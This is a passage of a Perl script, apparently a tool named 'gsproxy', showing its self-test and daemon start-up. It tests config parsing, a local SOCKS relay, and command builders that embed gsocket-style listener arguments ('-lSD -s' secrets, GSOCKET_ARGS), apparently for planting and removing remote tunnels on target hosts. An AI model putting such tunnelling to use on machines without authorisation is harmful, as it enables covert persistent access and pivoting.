    my ($cond, $name) = @_;
    if ($cond) { print 'PASS ' . $name . $NL; }
    else       { print 'FAIL ' . $name . $NL; $fails++; }
  };
  my $tmp = '/tmp';
  mkdir $tmp unless -d $tmp;
  my $csv = $tmp . '/gsproxy_selftest.csv';
  open my $cf, '>', $csv or die 'selftest: ' . $! . $NL;
  my @lines = (
    'endpoint,secret,port,label',
    'https://mcp.example.org,sekret123,20001,alpha',
    'https://mcp.other.org,topsecret9,20002,beta',
    '# a comment',
    '',
  );
  print $cf join($NL, @lines), $NL;
  close $cf;
  my $r = read_config($csv);
  $ok->(scalar(@$r) == 2, 'csv row count');
  $ok->($r->[0]{endpoint} eq 'https://mcp.example.org', 'csv endpoint');
  $ok->($r->[0]{secret} eq 'sekret123', 'csv secret');
  $ok->($r->[0]{port} == 20001, 'csv port');
  $ok->($r->[0]{label} eq 'alpha', 'csv label');
  my $tc = target_cmd('An71Z06C0al1710n');
  $ok->(index($tc, qq{'-lSD -s An71Z06C0al1710n'}) >= 0, 'target_cmd secret');
  $ok->(index($tc, q{$(uname -m)}) >= 0, 'target_cmd arch literal');
  my $tq = target_cmd('ab' . chr(39) . 'cd');
  $ok->(index($tq, chr(39) . chr(92) . chr(39)) >= 0, 'target_cmd quotes secret');
  my $td = teardown_cmd('sekret123');
  $ok->(index($td, 'GSOCKET_ARGS=-lSD -s sekret123') >= 0, 'teardown_cmd secret');
  $ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');
  $opt{timeout} = 3;
  my $lsn = IO::Socket::INET->new(
    LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
    Listen => 16, ReuseAddr => 1,
  ) or die 'selftest: cannot listen: ' . $! . $NL;
  my $sport = $lsn->sockport;
  my $spid = fork();
  if (defined $spid && $spid == 0) { fake_socks_server($lsn); exit 0; }
  sleep 0.3;
  $ok->(socks_alive($sport), 'socks_alive live');
  my $dead = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $dport = $dead->sockport;
  close $dead;
  $ok->(!socks_alive($dport), 'socks_alive dead');
  my $free = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $gwport = $free->sockport;
  close $free;
  $opt{gateway} = $gwport;
  $opt{state} = $tmp . '/gsproxy_selftest.state';
  $opt{log}   = $tmp . '/gsproxy_selftest.log';
  open my $sf, '>', $opt{state} or die 'selftest state: ' . $! . $NL;
  print $sf $sport . $NL . $sport . $NL;
  close $sf;
  my $gwpid = start_gateway();
  sleep 0.3;
  my $cli = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport, Proto => 'tcp', Timeout => 3);
  if ($cli) {
    $cli->autoflush(1);
    syswrite($cli, pack('C*', 5, 1, 0));
    my $greply = read_exact($cli, 2, 3);
    $ok->(defined $greply && $greply eq pack('C*', 5, 0), 'gateway socks greeting');
    my $host = 'example.com';
    syswrite($cli, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
    my $rep = read_exact($cli, 4, 3);
    $ok->(defined $rep && ord(substr($rep, 1, 1)) == 0, 'gateway CONNECT relayed');
    close $cli;
  } else {
    $ok->(0, 'gateway connect');
  }
  kill('TERM', $gwpid) if $gwpid;
  kill('TERM', $spid) if $spid;
  waitpid($gwpid, 0) if $gwpid;
  waitpid($spid, 0) if $spid;
  print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
  exit($fails ? 1 : 0);
 }
 my $rows = read_config($opt{config});
 if ($opt{list}) {
  printf('%-40s %-14s %-6s %s' . $NL, 'ENDPOINT', 'SECRET', 'PORT', 'LABEL');
  for my $e (@$rows) {
    printf('%-40s %-14s %-6d %s' . $NL, $e->{endpoint}, mask($e->{secret}), $e->{port}, $e->{label});
  }
  exit 0;
 }
 die 'no usable rows in ' . $opt{config} . $NL unless @$rows;
 for my $e (@$rows) {
  if ($e->{port} == $opt{gateway}) {
    logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
  }
 }
 if ($opt{once} || !$opt{daemon}) {
  run_foreground($rows);
  exit 0;
 }
 if (!$ENV{GSPROXY_DAEMON}) {
  my @old = read_pidfile();
  if (grep { kill(0, $_) } @old) {
    print 'gsproxy already running. Use --stop first.' . $NL;
    exit 1;
  }
  unlink $opt{pidfile};
  $ENV{GSPROXY_DAEMON} = 1;
  my $pid = fork();
  if ($pid) {
    print 'gsproxy daemon started (pid ' . $pid . ')' . $NL;
    exit 0;
  }
  setsid();
  open STDOUT, '>>', $opt{log};
  open STDERR, '>&STDOUT';
  open STDIN, '<', '/dev/null';
 }
 run_foreground($rows);
 exit 0;